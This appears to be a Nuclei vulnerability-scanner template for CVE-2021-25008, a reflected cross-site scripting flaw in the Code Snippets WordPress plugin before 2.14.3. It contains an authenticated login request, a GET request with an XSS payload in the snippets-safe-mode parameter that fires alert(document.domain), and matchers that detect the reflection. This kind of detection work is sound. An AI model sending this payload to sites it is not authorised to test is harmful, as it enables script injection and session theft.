id: CVE-2021-25008 info: name: The Code Snippets WordPress Plugin < 2.14.3 - Cross-Site Scripting author: cckuailong severity: medium description: The Wordpress plugin Code Snippets before 2.14.3 does not escape the snippets-safe-mode parameter before reflecting it in attributes, leading to a reflected cross-site scripting issue. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement. remediation: | Update the Code Snippets WordPress Plugin to version 2.14.3 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/cb232354-f74d-48bb-b437-7bdddd1df42a - https://nvd.nist.gov/vuln/detail/CVE-2021-25008 - https://github.com/ARPSyndicate/kenzer-templates - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-25008 cwe-id: CWE-79 epss-score: 0.00106 epss-percentile: 0.43227 cpe: cpe:2.3:a:codesnippets:code_snippets:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: codesnippets product: code_snippets framework: wordpress tags: cve,cve2021,authenticated,wpscan,xss,wp,wordpress,wp-plugin,codesnippets http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - "\" style=animation-name:rotation onanimationstart=alert(document.domain) x" - "Snippets" condition: and - type: status status: - 200 # digest: 4a0a0047304502210082b5a190481ec70760a35aecf1b3d8e80483f8b4839e56f54a619e4b7b4e26630220560834cc1d0dc002ef01ad44f8ebae701b1820461e6fd3ab0287f317defec8b3:922c64590222798bb761d5b6d8e72950